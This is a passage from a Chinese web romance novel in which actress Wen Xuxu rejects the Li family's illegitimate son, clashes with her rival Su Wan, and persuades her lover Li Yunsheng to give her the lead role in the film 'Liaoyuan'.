她笑得妩媚,眼尾染上一层薄红,像是春夜里最艳的一朵花,可那笑意,却未达眼底。 她闲适地用食指敲了两下门把手,继而眉眼含笑地转过头去,声音轻得像风:“你是想得到我,所以才告诉我这些真相吗?” 黎松一怔,随即语气无比认真:“我不是为了得到你才说这些。” 他上前一步,声音低沉:“温栩栩,我可以为你对抗黎家。” 温栩栩听着,忽然低笑一声。 她笑得勾人,眼波流转,像是能勾走人的魂魄。可她开口时,声音却像一把淬了寒冰的刀,直直扎进黎松的心口。 “你的喜欢……”她挑眉,红唇轻启,一字一顿,“值几个钱?” 黎松脸色骤变,像是被狠狠扇了一耳光。 他怔在原地,眼神从炽热到破碎,从期待到绝望。 他张了张嘴,却发不出声音。 温栩栩却已转身,手搭上门把,语气淡漠:“我还要回组,没时间跟你耗着。” 她这就要走。 黎松好不容易见她一面,这抓心挠肺的滋味,哪肯这么轻易放她走?他一把抓住她手腕,力道不重,却带着几分哀求。 温栩栩眼神一冷,斜他一眼:“是我上次踹得你不够疼?” 黎松这次倒是神情认真,仔细斟酌了会儿,才低声说:“温栩栩,你跟着黎云笙不会有好结果。你跟了我吧。” 温栩栩呵了一声,压根不放心上,拍开他的手,扭头就走。 手已经放到门把手上,黎松急切开口:“我不是孤在骗你,黎云笙喜欢的是苏婉! ” 温栩栩却笑了。 她笑得慵懒,像是听了个笑话。 她缓缓转过身,靠在门边,指尖轻轻划过唇角:“所以呢?你告诉我这些,是想让我感激你?还是想让我觉得,我配不上黎云笙,就该退而求其次,选你?” 第1511章 不是我选他,是你不配 黎松抿唇:“我不是这个意思。我是怕你受伤。黎云笙不会娶你。” 温栩栩听着,笑意渐深,却冷得刺骨。 “黎松,”她轻声说,“你真可怜。” 她一步步走近,眼神像在看一个被命运抛弃的弃子:“你为了接近我,编出这样的故事,甚至不惜踩低黎云笙。可你知不知道,你越是这样,越显得你可悲。” “不会可悲,只要你跟了我,你想要的我都会尽量满足你,资源、金钱,我都能给你,也绝不会把你当做谁的替身。” 黎松靠在门边,声音低沉,眼神罕见地认真,甚至带着一丝近乎虔诚的郑重。 他很少这样说话。 平日里,他是黎家那个玩世不恭的私生子,是酒局上最会调情的浪荡公子,是媒体口中“风流不下流”的贵公子。 可此刻,他站在温栩栩面前,卸下了所有伪装,语气里竟有几分孤注一掷的真诚。 温栩栩却笑了。 她缓缓抬眼,目光如刀,直直刺进黎松的眼底:“你才见过我几面,就敢说喜欢我?” 她声音轻,却字字如锤:“你的喜欢,就这么廉价?你以为这是喜欢?不,这不过是因为我的容貌让你对我产生了情欲。说到底,你就是被下半身欲望支配的低等生物。你这样廉价的喜欢,也配说出口?” 黎松瞳孔一缩,像是被狠狠抽了一记耳光。 他张了张嘴,却发不出声音。 温栩栩却没停,步步逼近,高跟鞋在地板上敲出清脆的节奏,像是一记记审判的钟声:“像你这样流连花丛的人,恐怕早说过千百次的‘喜欢’了。夜店的舞娘,你会喜欢,卖酒的小妹,你会喜欢,身材好的模特,你也会喜欢。如果把你的喜欢换算成金钱,要分成多少份?我能得到多少?” 她冷笑:“所以,你的喜欢,根本不值钱。” 黎松脸色惨白,手指微微发抖。 他想反驳,却发现自己无从辩驳。 他说不出“我只喜欢你一个”,因为他知道,那是谎话。他甚至说不出“我从未对别人说过喜欢”,因为他曾用同样的词,哄过无数女人。 可他此刻看着温栩栩,却觉得她和其他人不一样。 她不为他的身份动心,不为他的资源动摇,她看他的眼神,像在看一个被欲望支配的废物。 可正是这种轻蔑,让他更想将她拥入怀中,让她只能仰望他。 “你说你喜欢我,”温栩栩忽然开口,语气轻佻,却带着致命的锋利,“你会娶我吗?” 黎松沉默。 他不能说“会”。 因为他不能。 他不是黎家继承人,他没有决定自己婚姻的权力。 他的婚事,必须由黎老太太点头,必须符合黎家的利益。他可以有情人,可以有红颜,可以有无数个“喜欢”,但他不能有“妻子”。 至少,不能是温栩栩。 温栩栩看着他的沉默,笑了。 那笑,像是一把刀,缓缓划开他最后一点体面。 “你的喜欢,连一张结婚证都抵不了。”她声音冷得像冰,“你不敢对我保证,无非是你不能对自己终身大事做主。你要娶谁,还要黎老太太做主。你让我跟了你,无非是让我当你的小情人,被你藏在暗处,见不得光。” 她逼近一步,眼神如刃:“你想养带刺的玫瑰?可你却不肯让她见光。你觉得,你的玫瑰,能活几天?” 黎松喉头一哽,竟说不出话。 他想说“我会护你”,可他知道,他护不住。他想说“我会为你争”,可他知道,他争不过。他只是一个私生子,哪怕再得宠,也是“私生”的。 “跟你搅合到一起,”温栩栩冷笑,语气陡然转厉,“你当我是阴沟里的臭虫?” 她一字一顿,声音像鞭子抽在黎松脸上:“说什么你能给我想要的?我一要名分,二要资源,三要靠山。名分,你给不起。资源,你手中的资源,比得过黎云笙?而靠山,帝城谁听了黎云笙的名头,都知道他是黎家继承人。你呢?黎松,黎家的私生子。你不是继承人,又没有实权,你拿什么当我的靠山?” 她顿了顿,目光如刀,直刺他心口: “你没有任何,能比得上黎云笙的地方。” 病房里,死一般的寂静。 黎松站在原地,像是被剥光了衣服,赤裸裸地暴露在她冰冷的目光下。 他想怒吼,想反驳,想说“我至少比他更早喜欢你”,可他知道,那不过是自欺欺人。 他比不过黎云笙。 他只能躲在医院的病房里,用“喜欢”当借口,试图将她困在黑暗里。 他忽然笑了,笑得凄凉,笑得自嘲。 “所以,”他低声问,“在我和他之间,你永远选他?” 温栩栩看着他,眼神里没有怜悯,只有平静:“不是我选他,是你不配。” 温栩栩一字一顿,声音不疾不徐,却像一把淬了寒霜的刀,缓缓割开黎松最后一层虚张声势的伪装。 每一个字都精准地落在他心口,带着不容置疑的审判意味,将他那点残存的骄傲碾得粉碎。 黎松失言。 他张了张嘴,喉结滚动,却发不出半点声音。 他比不配 不是输在喜欢,而是输在,他连“给予”的资格都没有。 难堪如潮水般涌上,他猛地抬手捂住脸,指缝间是滚烫的温度,仿佛要将整张脸烧穿。 他不想让她看见自己此刻的狼狈,可那股屈辱与不甘,却像毒藤般缠绕住心脏,越收越紧。 “可他把你当做替身……”他终于挤出一句话,声音沙哑,带着最后一丝垂死挣扎的执念,“你以为黎云笙真的爱你?他不过是因为你像谁,才把你留在身边……” 他说得极轻,像是在说服她,又像是在说服自己。 温栩栩却笑了。 她笑得妩媚,眼波流转,像春夜里最艳的花,可那笑意,却冷得刺骨。 她缓缓上前一步,高跟鞋在寂静的病房里敲出清脆的声响。 她忽然伸手,一把拽住黎松的衣领,力道之大,迫使他不得不低下头,与她对视。 “你以为,”她声音轻得像风,却字字如刀,“跟着一个连自己婚姻都做不了主的私生子,我的处境就会好了?” 第1512章 谎话真是张口就来 她笑着,另一只手轻轻拍了拍他的脸颊,动作亲昵,却带着十足的讥讽与蛊惑:“你以为我为什么跟着黎云笙?是因为爱吗?” 她顿了顿,红唇微启,吐出的答案冷酷而现实:“当然不是。是因为他有权,有势,有能护住我的能力。至于他喜欢谁,跟我有什么关系?哪怕他喜欢男人,我也不在乎。” 病房里一片死寂。 黎松瞳孔骤缩,像是被什么狠狠击中。 他当然信她这话。 他想起那天在病房外偷听到的对话,温栩栩对温言说:“感情是奢侈品,我买不起。我要的是资源,是靠山,是能让我弟弟活下去的保障。黎云笙能给,黎松给不了。” 那时他只觉得她冷血,此刻才明白她从不自欺。 她从不幻想爱情,她只计算利益。 而正因如此,她才更让他着迷。 “你……”他声音发颤,想说些什么,却发现自己连反驳的立场都没有。 温栩栩却没放过他,指尖仍停留在他脸颊上,轻轻摩挲,像在把玩一件心爱的玩具。 黎松下意识点头,眼神竟有几分难得的乖巧:“我……我给你投了好多票,特意充的会员,没让水军压你热度……我甚至让手下人都去刷弹幕……” 他声音越来越低,像在讨赏的孩子,带着一丝卑微的期待:“我做得这么好,是不是……能有点奖励?” 温栩栩看着他这副模样,终于忍不住弯了弯嘴角,笑意却不达眼底:“这么乖啊。” 黎松心跳加速,腿有些发软,手撑着墙才没让自己滑下去。 生理上的反应根本压制不住,她离得太近,气息太甜,那双眼睛像能吸走他的魂魄。他甚至能感觉到她指尖的温度,透过皮肤,直抵心脏。 靠! 他可太喜欢温栩栩这样带毒的美人了! 怎么能一颦一笑、哪怕一句话,都精准地压在他审美线上? 她像一株生长在悬崖边的罂粟,美丽、危险、让人上瘾,明知有毒,却甘愿赴死。 他没忍住,抬手轻轻抚摸自己被她拍过的脸颊,面皮越来越热,耳根发烫,声音支支吾吾,难得地乖巧:“你的短剧……我……我给你投票了,投了好多票……是不是……能有点好处?” 温栩栩像是有些无奈似的,从包中取出一张签名照,递给他:“你的报酬。” 黎松接过,低头一看,是《替身》的剧照,温栩栩饰演的温萝,一袭素衣,眼神冷冽,唇角含笑,美得惊心动魄。 可他却有些不乐意了,皱眉道:“我投了很多票,为你还特意充钱,你就给我一张签名照打发我?” 温栩栩挑眉:“你要知道,就算没有你,我一样会被其他人喜欢。这张照片,是你能拿到的,最接近我的东西。” 黎松咬牙,却还是收下了。 他知道,这是她给的唯一恩赐。 温栩栩早已经走远了,高跟鞋的声音在走廊尽头渐渐消失,病房门轻轻合上,留下他一人站在原地。 可他却还捧着那张签名照,像捧着稀世珍宝。 他低头,使劲儿搓着自己的脸,仿佛想把她的触感永远留在皮肤上。 温栩栩摸过的,啊啊啊她的手好软啊! 他痴汉般地盯着照片,嘴角抑制不住地上扬,眼神里满是疯狂的占有欲与不加掩饰的迷恋。 他越来越觉得温栩栩跟他百搭。她冷,他疯;她毒,他痴。她越是拒绝,他越是想将她锁在身边,只属于他一人。 被温栩栩拒绝,他非但不退,反而越挫越勇。 “你说我不配……”他低声呢喃,指尖轻抚照片上她的脸,“那我就把黎家踩在脚下,把黎云笙赶下神坛,亲手把你捧到最高处,到那时,你还会说我不配吗?” 他将照片小心翼翼地塞进胸口内袋,紧贴心脏的位置。 “温栩栩……你逃不掉的。” …… 温栩栩回到剧组,天色已近黄昏。 夕阳的余晖洒在片场的水泥地上,像一层薄薄的金纱。她没去休息室,而是直接去了后勤厨房。 工作人员见她进来,都愣了一下,有人小声问:“温老师,您要喝水吗?” 她摇头,笑着挽起袖子:“我来做几道菜,待会儿送去黎氏。” 众人面面相觑。 谁不知道温栩栩最近因《替身》爆红,可她竟还要亲自下厨?可没人敢拦,反而有人主动递上围裙。 她做的,正是直播时那几道家常菜,辣子鸡丁、酸菜鱼、鱼头豆腐汤、手撕包菜、拍黄瓜、酸辣土豆丝、蒜蓉油麦、炝拌金针菇。每一道都精准复刻,火候、调味、摆盘,一丝不苟。 “温老师,您这手艺,开餐厅都够了。”助理笑着递上盘子。 温栩栩轻笑:“不是给外人吃的,是给一个……很重要的人。” 她一边炒菜,一边想起黎云笙,嘴角不自觉地扬起。她本就想给他备一份,只是没想到,会以这样的方式,亲手送来。 拍完当天戏份,她提着保温食盒,驱车前往黎氏大厦。 夜色渐浓,黎氏总部灯火通明,像一座悬浮在城市之上的权力堡垒。温栩栩提着食盒走进大堂。 黎氏员工几乎都认识她。有人低头打招呼:“温老师好。” 有人悄悄拍照,却没人阻拦。显然,是黎云笙下过命令,她可自由通行。 一路畅通无阻,直达顶层。 电梯门开,她刚迈出一步,笑意尚未散去,便看见从黎云笙办公室走出来的苏婉。 那一瞬,空气仿佛凝固。 温栩栩笑意未变,眸中却多了几分猜不透的冷意,像春日湖面突然结了一层薄冰,看似平静,实则寒意彻骨。 苏婉一身高定套装,妆容精致,发丝一丝不苟,依旧是个优雅得体的“大青衣”。 她看见温栩栩,唇角微扬,温柔道:“温栩栩,好久不见啊。” 温栩栩嗤笑一声,声音清冷:“并没有很久。苏婉老师的谎话,真是张口就来。” 苏婉轻笑,不恼不怒,反而更显从容:“演员综艺上才见过,是不长,可在我心里,总觉得隔了很久呢。” 第1513章 你想要的,我都给了 她语气亲昵,却字字带刺。那句“在我心里”,像是在宣示某种主权。 温栩栩眸光微闪,不动声色地扫过她身后紧闭的办公室门,黎云笙在里面。 她提着食盒,缓步上前,眉眼依旧弯着,像月牙,却不再有温度。 就在这时,顶层会议室的门“咔哒”一声打开,几位黎氏高层鱼贯而出,个个面带笑意,纷纷与苏婉握手。 “苏老师,黎氏珠宝首饰和远程手机全球总代言人正式签约,我们非常荣幸!”一位副总激动道,“希望以后还有机会与您合作。” 另一位经理笑着接话:“当然有机会!黎煌投资的年度大戏《燎原》,不就是苏老师主演吗?有您加持,这电影必定大爆!” 众人附和,掌声雷动,仿佛苏婉已是黎氏的门面。 温栩栩站在原地,笑意未减,可眼神却冷得像冰。 她明白了。 这不是偶遇。 这是宣战。 苏婉知道她要来,特意等在这里,等她亲眼看着自己签下代言、拿下女主,等她看着黎氏的资源、权力、人脉,全部流向那个“黎云笙心里的白月光”。 这是羞辱。 是赤裸裸的、精心策划的羞辱。 她温栩栩,曾被全网黑为“资源咖”,如今靠实力翻盘,却仍被苏婉用“资源”二字,狠狠踩在脚下。 你看,哪怕你再努力,黎氏的资源,还是我的。 温栩栩面上的表情已经麻木。 她不是没经历过低谷,不是没被踩过尊严。 可这一次,不一样。 因为,这关乎黎云笙。 她在意的,从来不是资源,而是他是否真的站在她这边。 她一步步走向办公室,脚步不急不缓,像在走红毯,也像在赴战场。 黎云笙正从办公室走出,看见她时,明显愣了一下。 他穿着深灰色高定西装,领带微松,眉宇间带着一丝疲惫,可看见温栩栩的瞬间,那疲惫像是被什么轻轻拂去。 “你来了。”他声音低沉,带着一丝不易察觉的温柔。 温栩栩笑了,笑意真实了些,却仍带着疏离:“来给你送餐的。” 她将食盒轻轻放在他办公桌上。 “没别的事,我就先走了。”她抬头,目光扫过苏婉,语气轻描淡写,“你跟你的苏小姐,好好叙旧。” 说完,她转身欲走。 黎云笙眸光一沉,伸手拦住她手腕:“站住。” 他的力道不重,却带着不容抗拒的意味。 温栩栩停下,没回头。 “你做的?”他低头看着食盒,声音低沉。 “嗯。” “特意做的?” “不然呢?你以为我会给别人做饭?” 黎云笙低笑一声,眼神终于柔和下来:“我还没吃。” “那现在吃。”她终于回头,眼神复杂。 黎云笙看着她,苏婉站在一旁,笑容终于有些挂不住。 她走上前,语气轻柔:“栩栩真是贴心,不过云笙最近忙,可能没时间吃饭,我刚好也在,可以陪他一起。” 温栩栩终于正眼看她,嘴角微扬:“苏老师,你连别人的情侣餐都要掺和?真是体贴入微。” 苏婉笑意一僵。 温栩栩却已转身,对黎云笙道:“吃吧,凉了就不好吃了。我先走了,明天还有戏。” 黎云笙站在办公室门口,身影修长而挺拔,仿佛一柄藏于鞘中的利剑,不动则已,一动则锋芒毕露。 他五官精致得近乎锋利,眉峰如刃,鼻梁高挺,唇线薄而冷,带着与生俱来的疏离与戾意。 那双幽深漆黑的眸子,像是一汪无底的深潭,幽邃得让人不敢直视,却又忍不住想要沉溺其中,仿佛只要多看一眼,灵魂就会被吸入那片无光的深渊。 此刻,这双眼睛里,盛着几分罕见的不解。 他望着温栩栩的背影,一步步走向电梯,步伐轻缓,却坚定得没有一丝犹豫。她甚至没有回头。 “栩栩?” 他终于开口,声音低沉,像夜风掠过屋檐,带着一丝不易察觉的滞涩。 可温栩栩没有停下。 她只是在进入电梯前,忽然转身,嘴角扬起一抹礼貌而疏离的微笑,目光扫过苏婉,语气轻柔:“苏老师,再会。” 那声“苏老师”,叫得客气,却像一根细针,轻轻扎在苏婉心口。 电梯门缓缓合上,映出她最后的身影,挺直的脊背,微扬的下巴,像一只孤傲的鹤,哪怕被围猎,也不肯低头。 黎云笙站在原地,眸光深了几分,仿佛有暗流在眼底翻涌。 他没有动,却让整个走廊的空气都凝滞下来。 苏婉站在原地,脸上的笑容终于有些挂不住。 她强撑着优雅,上前一步,声音轻柔:“云笙,你别误会,我只是来签代言合同,顺便聊了聊《燎原》的拍摄计划……我没想到栩栩会来,更没想让她误会。” 黎云笙终于转头看她。 那一眼,没有温度。 “所以呢?”他声音冷得像冰,“你得到了你想要的,还不走?” 苏婉脸色一僵,像是被当众扇了一耳光。 她咬了咬唇,声音微颤:“阿笙,你真的要跟我这么生分吗?我们是一起长大的交情,你小时候发烧,是我守了你一夜……你忘了吗?” 她语气里带着几分委屈,几分质问,几分旧日情谊的重量,试图用“过往”这把钥匙,打开他紧闭的心门。 可黎云笙只是看着她,眼神平静得可怕。 “所以呢?”他再次开口,语气依旧平淡,却字字如刀,“我给你的东西,不够多吗?” 他顿了顿,声音低了几分,却更显压迫:“这次的全球代言,是你梦寐以求的资源,《燎原》的女主,是我亲自点头的安排。你想要的,我都给了。” 他微微俯身,逼近她,声音压得极低:“还是说,你不想要?那我现在就可以收回。” 苏婉脸色瞬间惨白,像是被抽走了所有血色。 她张了张嘴,想说什么,却发不出声音。 她知道,黎云笙不是在威胁她。 他是在提醒她,你的一切,都是我给的。我给的,我也可以拿走。 她身后,经纪人赶紧干笑一声,试图缓和气氛:“哪里哪里,黎少给的资源,我们当然想要!是我们婉婉不懂事了,情绪有点激动,我这就代她向您道歉,这就走!” 第1514章 不把感情当筹码 说着,他连忙拉住苏婉的手臂,几乎是半拖半拽地将她带走。 苏婉脚步踉跄,回头望了一眼黎云笙,眼神里有不甘,有委屈,有愤怒,可最终,只剩下一抹凄凉的苦笑。 她终于明白她输了。 不是输在演技,不是输在资源,而是输在黎云笙的心,从来就不在她身上。 他给她的所有,不过是施舍,是安抚,是权衡利弊后的安排。 而温栩栩得到的,是偏执,是执念,是藏在沉默里的疯狂占有。 等两人身影彻底消失在走廊尽头,黎云笙才缓缓收回目光。 他站在原地,久久未动,仿佛一尊被遗忘在夜色里的雕像。 身旁的经理小心翼翼地开口:“黎总,我们还约了邻省的行长吃饭,马上就到时间了。” 黎云笙淡淡道:“好。” 他转身,走进办公室,顺手关上了门。 办公室内,一片寂静。 他走到办公桌前,看着那还冒着余温的食盒,轻轻打开。 鱼头豆腐汤已经凉了,可那股鲜香却依旧浓郁。辣子鸡丁的红油浮在表面,酸菜鱼的汤色清亮,蒜蓉油麦菜还保持着翠绿的色泽,仿佛她刚做完,就送来了。 他拿起筷子,夹起一块鸡肉,放进嘴里。 辣味在舌尖炸开,带着一丝微麻,像她的眼神,像她的性格,外表温柔,内里滚烫。 他闭上眼,仿佛能看见她系着围裙,在厨房里忙碌的身影。 她从不轻易示人的柔软,却为他变得这样柔软。 他忽然想起她临走前那个笑,礼貌,疏离,带着一丝被刺伤的倔强。 她以为他和苏婉有旧情? 她以为他会在意苏婉? 他黎云笙,从不把感情当筹码。 他若爱一个人,就会把她捧在手心,护在身后,用尽一切手段,让她不必在人前强撑体面。 可她却选择转身离开。 不是因为不爱,而是因为太在意。 他在意她,她也在意他。 可他们都在害怕,怕对方不是唯一,怕自己不是首选,怕那些无声的沉默,是变心的前兆。 他放下筷子,拿起手机,拨通助理电话:“查一下温栩栩今晚的行程。” “是,黎总。” …… 夜色如墨,沉沉地压在城市上空。片场的灯光终于熄灭,温栩栩拖着疲惫的身躯回到酒店房间。 一天的拍摄耗尽了她的精力,妆容未卸,衣衫微乱,发丝贴在额角,带着一丝倦意的凌乱美。 她推开门,不出意外地看见那个男人。 黎云笙,正站在落地窗前,背对着她,指尖夹着一支未点燃的烟,身影在月光下显得格外孤冷。 她表情未变,仿佛早已预料到他的到来。 没有惊喜,没有质问,也没有期待。 她只是轻轻将包放在沙发上,褪下高跟鞋,赤脚走向浴室。 今天一天都很累,她现在只想沐浴,冲刷掉片场的尘埃与疲惫,然后好好睡一觉。 水声响起,温热的水流顺着她的发丝滑落,冲刷着肩颈的疲惫。她闭上眼,试图放空思绪,可那股压抑了一整天的情绪,却像潮水般涌来。 突然,浴室的门被轻轻推开。 她没有回头,只是睫毛轻颤了一下。 下一秒,一个结实而滚烫的胸膛贴上她的后背,带着熟悉的气息,将她整个人圈入怀中。 他的手臂环住她的腰,下巴抵在她的肩窝,声音低哑:“累了吗?” 温栩栩没有回答,只是缓缓睁开眼,镜中映出两人交叠的身影,她赤裸,他衣衫半解,像一场注定燃烧的火焰。 她转身,回望着他。 眼神迷离,却又异常清醒。 她抬手抚上他的脸,指尖划过他冷峻的下颌,然后,主动吻了上去。 这个吻来得猛烈而急切,像是要将所有压抑的情绪都倾泻而出。 黎云笙低哼一声,随即加深这个吻,舌尖撬开她的唇齿,与她纠缠,仿佛要将她整个人吞入腹中。 水汽氤氲,花洒的水珠打在两人身上,温热的水流顺着他们的肌肤滑落,混合着呼吸与心跳,交织成一场无声的风暴。 火势渐猛。 她被他压在冰冷的瓷砖墙上,背脊贴着凉意,可身体却在燃烧。 他的吻从唇一路向下,落在她的颈侧、锁骨、肩头,像一场温柔的掠夺。她咬住唇,不让自己发出声音,可身体却诚实地回应着他,指尖深深掐入他的肩胛。 “温栩栩……”他低喘着她的名字,像是咒语,又像是祈求。 她没有回应,只是闭上眼,任由他发泄,发泄他的占有,他的欲望,他的不甘与爱意。 直至火势彻底熄灭,她喘息着,撑着浴室内的白瓷墙,发丝湿漉漉地贴在脸上,额前沁出细密的汗珠。 水珠顺着她的下颌滴落,像泪,却不是泪。 她缓缓转过身,抹了把额前的汗,重新打开花洒,冰凉的水流冲刷着身体,也冲刷着方才的炽热。 “你没跟我提过《燎原》这部电影。”她忽然开口,声音平静,却带着一丝冷意。 黎云笙站在她身后,沉默不语。 温栩栩却笑了,笑声轻得像风,却字字如刀:“我要做《燎原》的女主角。” 男人眯着眼睛,认真仔细地打量她。她不像平日里软乎乎的模样,反倒是带了几分尖酸刻薄之意,眼神锐利得像能剖开他的心。 “为什么?”他声音低沉,“栩栩,我以为你很聪明,应该明白……” “明白什么?”她打断他,抬眸直视他,“明白你早就把女主给了苏婉?明白你口中的‘资源’、‘靠山’,从来都不是给我准备的?” 她轻笑,声音里带着讥讽:“跟我亲热后告诉我认为我是个聪明人,去维护苏婉……你该知道,如果今天我没有去黎氏,我就不会知道《燎原》的资源到了苏婉手中,也就不会去争,不会去抢。” 她逼近他,水珠从她发梢滴落,落在他赤裸的胸膛上:“是谁让我知道的呢?嗯?是你,黎云笙。是你让我看见她从你办公室走出来,是你让我听见那些高层对她的恭维,是你让我亲眼看着她签下代言、拿下女主。” 第1515章 换掉她 她笑得凄美:“所以,是你,亲手把我推到了战场。” 黎云笙眸色骤沉,伸手想抱她,却被她侧身避开。 “你说过会给我最好的资源,会对我好。”她声音轻了下去,却更显绝望,“所以,你就是眼睁睁看着别的女人肆无忌惮地欺辱我吗?” 她拊掌而笑,眼睛弯起来,像月牙,却盛着寒霜:“哦,我忘记了,苏婉就是这其中的一个变数。你不仅可以看着她欺辱我,还能帮她扫去那些欺辱我的痕迹,让所有人都觉得苏婉依旧是那个温婉大气的演员。” 她缓缓靠近他,指尖轻轻划过他的胸膛,声音轻得像叹息:“我算什么呢?我就是你用来解决生理需求的玩具。玩具哪里需要你用心维护呢?” 黎云笙终于变了脸色。 他一把扣住她的手腕,力道之大,让她微微蹙眉:“温栩栩,你不是玩具,你怎么可能是玩具?” 他声音里带着压抑的怒意与无奈:“我说过很多次了,你不要这样阴阳怪气。” “是谁让我这样阴阳怪气的?”她反问,眼神如刀,“难道不是你?是你让我看见她从你办公室出来,是你让我听见他们说‘苏老师才是黎氏的门面’,是你让我明白在你心里,我就是一个可以随时丢弃的玩具!” 她甩开他的手,转身背对他,水流冲刷着她的身体,也冲刷着她眼底的湿润:“你口口声声说爱我,可你给我的,是施舍,是怜悯,是藏在暗处的温柔。而你给苏婉的,是光明正大的资源,是众目睽睽的尊重。” “你让我怎么选?”她低声问,“是继续当你的秘密情人,还是亲手把你给我的一切,都撕碎?” 黎云笙沉默良久,终于伸手将她拉入怀中,力道之重,像是要将她揉进骨血。 “你明知道,”他声音沙哑,带着从未有过的疲惫与无奈,“我给你的,从来不只是这些。” 她抬头看他,眼神清澈,却带着不容退让的坚定:“《燎原》的女主,我要定了。不是求你,不是讨好你,而是我温栩栩凭实力配得上。” 黎云笙看着她,良久,终于低笑一声:“你真是个疯子。” “可你爱的,不就是这样的我吗?”她笑,眼角却有泪光,“那个敢踹黎松、敢怼苏婉、敢跟你翻脸的温栩栩,才是你真正爱的人,不是吗?” 他没有回答,只是将她紧紧拥入怀中,仿佛怕她下一秒就会消失。 水声依旧,花洒的水流冲刷着两人,像一场洗刷灵魂的仪式。 他知道,她不是在闹脾气。 她是在向他宣战。 而他,输得彻底。 温栩栩伸手捏住他的下巴,力道不重,却带着绝对的掌控感,将他的脸转向自己,逼迫他与自己对视。 她的指尖带着微凉的温度,触碰到黎云笙温热的皮肤,让男人的呼吸微微一顿。 “你给了苏婉资源,我不开心。”温栩栩的声音很轻,每一个字都裹挟着毫不掩饰的嫉妒与不满。她的目光紧紧锁着黎云笙的眼眸,像是要将他的灵魂都吸进去,不容他有丝毫闪躲。 黎云笙垂眸看着她,眼底没有丝毫被质问的慌乱,反而带着一丝纵容的笑意,轻声道:“资源是她应得的,演技不错。” “应得?”温栩栩的语气陡然拔高,指尖的力道也随之加重,下巴传来的压迫感让黎云笙微微蹙了蹙眉,却依旧顺着她的力道,任由她捏着自己的下巴。 温栩栩逼近一步,两人的呼吸几乎交缠在一起,她的声音带着极致的侵略性,一字一句道:“可苏婉算什么,凭什么一次又一次地在我面前耀武扬威,说是你的青梅竹马?” 她眼底的寒意愈发浓烈,“她跟你拥抱过吗?” 话音刚落,温栩栩便猛地伸手,将黎云笙紧紧抱住,双臂收得极紧,像是要将他彻底嵌入自己的身体里,隔绝他与外界的一切联系。 她的头埋在黎云笙的颈窝,鼻尖蹭着他颈侧温热的皮肤,呼吸带着灼热的气息,让黎云笙的身体瞬间紧绷起来。 温栩栩继续开口,声音带着压抑的颤抖:“她跟你亲吻过吗?”说着,她微微仰起头,唇瓣精准地覆上黎云笙的唇,动作强势又急切,像是要将所有可能属于苏婉的痕迹都彻底抹去。 黎云笙先是一愣,随即缓缓放松了身体,伸手环住温栩栩的腰,回应着她的吻。 他的吻带着安抚的意味,却又在温栩栩的强势下,透着一丝隐秘的掌控,唇齿相依间,两人的气息彻底交融,将周遭的一切都隔绝在外。 片刻后,温栩栩松开黎云笙,唇瓣还轻轻蹭过他的下唇,眼底依旧带着未散的寒意,却多了几分因亲吻而泛起的红晕,她看着黎云笙,一字一句道:“黎云笙,我要当《燎原》的女主角,换掉她。” 她的语气不容置疑,像是在下达一道必须被执行的命令,目光却紧紧盯着黎云笙的眼睛,像是在等待他的回应,也像是在向他宣告自己的主权。 黎云笙看着她,眼底满是温柔的笑意,却带着一丝不易察觉的狡黠。 他伸手轻轻拂过温栩栩的眉眼,指腹带着温热的温度,像是在安抚一只炸毛的小兽,轻声道:“换掉她,你会开心吗?”他的声音低沉又磁性,带着一种蛊惑人心的力量,让温栩栩的心跳不由加快了几分。 温栩栩毫不犹豫地点了点头,眼神坚定:“会。” 她看着黎云笙,眼底满是期待与执念,仿佛只要他答应,她就能得到整个世界。 黎云笙看着她这副模样,心底满是无奈与宠溺,他轻轻叹了口气,眼底的笑意却愈发深邃,低声道:“如果真的在这种时候换掉她,我是周幽王吗?” 周幽王为博美人一笑,烽火戏诸侯,最终导致国家覆灭。 黎云笙的反问,既是对温栩栩的试探,在她心中,自己是否真的愿意为了她放弃原则,放弃对作品质量的把控,也带着一丝自嘲。 第1516章 燎原 他虽爱温栩栩,却也不愿沦为只懂讨好恋人的“昏君”,对《燎原》这部作品,他也有着自己的坚持。 温栩栩却像是没听懂他的弦外之音,眼底满是理所当然的神色,她看着黎云笙,反问道:“你不是吗?” 她的语气带着一种极致的偏执,仿佛只要黎云笙说“是”,她就能彻底放下心来,仿佛只要他愿意为了她“烽火戏诸侯”,就能证明自己在他心中的绝对地位。 黎云笙看着她这副模样,心底满是无奈,却又忍不住失笑。 他伸手轻轻揉了揉温栩栩的发丝,眼底满是温柔与宠溺,低声道:“我是。”说着,他再次低头,吻住温栩栩的唇,这一次的吻比之前更轻柔,却带着更深的情感,像是在回应她的偏执,也像是在安抚她不安的心。 温栩栩的身体瞬间放松下来,伸手环住黎云笙的脖子,回应着他的吻,眼底满是满足与欢喜。 两人的身影在暖黄的灯光下紧紧相拥,仿佛整个世界都只剩下彼此。 可就在这时,温栩栩的手机突然响了起来,屏幕上闪烁着“苏婉”的名字。 温栩栩眼底的温柔瞬间消失,取而代之的是极致的冰冷,她看着手机屏幕,眼底满是厌恶与抗拒。 黎云笙察觉到她的变化,轻轻松开她,伸手拿起手机,看着屏幕上闪烁的名字,眼底满是复杂的情绪,他轻声道:“栩栩,有些事,不是换个角色就能彻底解决的。” 温栩栩却像是没听见一般,伸手夺过手机,直接按下了挂断键,眼底满是决绝:“只要她不再是《燎原》的女主角,她就再也没有理由出现在你身边。” 她的声音带着一种近乎偏执的坚定,仿佛只要将苏婉从黎云笙的世界里彻底剔除,就能永远留住这份属于他们的温暖与亲密。 黎云笙看着她这副模样,心底满是无奈,却也满是温柔。 他知道温栩栩的占有欲有多强,也知道她对苏婉的不满有多深,可他更清楚,苏婉与自己的过往,不是简单的“青梅竹马”四个字就能概括的,这其中还牵扯着太多未说出口的秘密。 他伸手轻轻握住温栩栩的手,低声道:“栩栩,给我一点时间,我会处理好。” 温栩栩看着他,眼底满是信任与依赖,她点了点头,却又忍不住追问:“那《燎原》的女主角……”黎云笙看着她眼底那抹执着的光芒,他沉默了片刻,轻声道:“我会让剧组等着你拍完《灵媒》。” 温栩栩看着他眼底的认真,心底的不安渐渐平复下来,她轻轻“嗯”了一声,伸手抱住了黎云笙,将脸埋在他的颈窝,轻声道:“我信你,云笙。” 她的声音带着一丝不易察觉的脆弱,像是在向他撒娇,也像是在寻求一份安心。 黎云笙答应的事情一定会做到,她知道,黎云笙不会骗自己。 …… 当晚,《燎原》剧组发布了一则引发轩然大波的公告。 公告明确表示,剧组目前还未与苏婉签订合同,这意味着之前关于苏婉将出演女主的传言并不属实。 剧组郑重宣布,经过多方考量与选拔,暂定由温栩栩担任女主角这一重要角色。 